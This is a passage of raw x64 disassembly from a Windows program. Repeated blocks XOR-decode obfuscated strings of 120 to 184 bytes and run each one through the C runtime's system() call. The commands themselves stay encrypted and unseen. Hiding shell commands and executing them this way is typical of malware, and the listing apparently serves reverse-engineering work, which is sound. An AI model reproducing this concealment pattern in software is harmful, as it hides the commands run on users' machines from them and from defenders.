lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x1400569b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x52], al
lea rdx, [rbp + 0x938b]
lea rcx, [rbp + 0x52]
call fcn.14006d7e0
mov r10, rax
cmp byte [rax + 0xb7], 0
je 0x140056b63
cmp r12d, 2
jl 0x140056b1e
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x140056a30
jmp 0x140056b63
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x140056b30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x53], al
lea rdx, [rbp + 0x76b2]
lea rcx, [rbp + 0x53]
call fcn.14006d870
mov r10, rax
cmp byte [rax + 0x97], 0
je 0x140056ce3
cmp r12d, 2
jl 0x140056c9e
mov edx, r14d
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov r8d, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x98
jl 0x140056bb0
jmp 0x140056ce3
mov r9, r10
mov r8d, r14d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, r8b
sub al, dl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x98
jl 0x140056cb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x54], al
lea rdx, [rbp + 0x787a]
lea rcx, [rbp + 0x54]
call fcn.14006d8f0
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x140056e63
mov r8d, r14d
cmp r12d, 2
jl 0x140056e27
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140056d30
cmp r8d, 0x99
jge 0x140056e63
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x140056e30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x55], al
lea rdx, [rbp + 0x73bf]
lea rcx, [rbp + 0x55]
call fcn.14006d980
mov r10, rax
cmp byte [rax + 0x96], 0
je 0x140056fe3
mov r8d, r14d
cmp r12d, 2
jl 0x140056fa7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140056eb0
cmp r8d, 0x97
jge 0x140056fe3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140056fb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x56], al
lea rdx, [rbp + 0x6a18]
lea rcx, [rbp + 0x56]
call fcn.14006da10
mov r10, rax
cmp byte [rax + 0x88], 0
je 0x140057163
mov r8d, r14d
cmp r12d, 2
jl 0x140057127
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x88
jl 0x140057030
cmp r8d, 0x89
jge 0x140057163
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x89
jl 0x140057130
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x57], al
lea rdx, [rbp + 0x7913]
lea rcx, [rbp + 0x57]
call fcn.14006da90
mov r10, rax
cmp byte [rax + 0x98], 0
je 0x1400572e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400572a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x1400571b0
cmp r8d, 0x99
jge 0x1400572e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x99
jl 0x1400572b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x58], al
lea rdx, [rbp + 0x70d1]
lea rcx, [rbp + 0x58]
call fcn.14006db20
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140057463
mov r8d, r14d
cmp r12d, 2
jl 0x140057427
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140057330
cmp r8d, 0x96
jge 0x140057463
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140057430
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x59], al
lea rdx, [rbp + 0x7167]
lea rcx, [rbp + 0x59]
call fcn.14006dbb0
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x1400575e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400575a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400574b0
cmp r8d, 0x96
jge 0x1400575e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400575b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x5a], al
lea rdx, [rbp + 0x71fd]
lea rcx, [rbp + 0x5a]
call fcn.14006dc40
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x140057763
mov r8d, r14d
cmp r12d, 2
jl 0x140057727
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140057630
cmp r8d, 0x96
jge 0x140057763
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x140057730
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x5b], al
lea rdx, [rbp + 0x7293]
lea rcx, [rbp + 0x5b]
call fcn.14006dcd0
mov r10, rax
cmp byte [rax + 0x95], 0
je 0x1400578e3
mov r8d, r14d
cmp r12d, 2
jl 0x1400578a7
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400577b0
cmp r8d, 0x96
jge 0x1400578e3
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x96
jl 0x1400578b0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x5c], al
lea rdx, [rbp + 0x6019]
lea rcx, [rbp + 0x5c]
call fcn.14006dd60
mov r10, rax
cmp byte [rax + 0x7a], 0
je 0x140057a60
mov r8d, r14d
cmp r12d, 2
jl 0x140057a21
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140057930
cmp r8d, 0x7b
jge 0x140057a60
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7b
jl 0x140057a30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x5d], al
lea rdx, [rbp + 0x637a]
lea rcx, [rbp + 0x5d]
call fcn.14006dde0
mov r10, rax
cmp byte [rax + 0x7c], 0
je 0x140057be0
mov r8d, r14d
cmp r12d, 2
jl 0x140057ba1
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140057ab0
cmp r8d, 0x7d
jge 0x140057be0
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x140057bb0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp + 0x5e], al
lea rdx, [rbp + 0x87c9]
lea rcx, [rbp + 0x5e]
call fcn.14006de50
mov r10, rax
cmp byte [rax + 0xa0], 0
je 0x140057d63
mov r8d, r14d
cmp r12d, 2
jl 0x140057d27
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm10
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
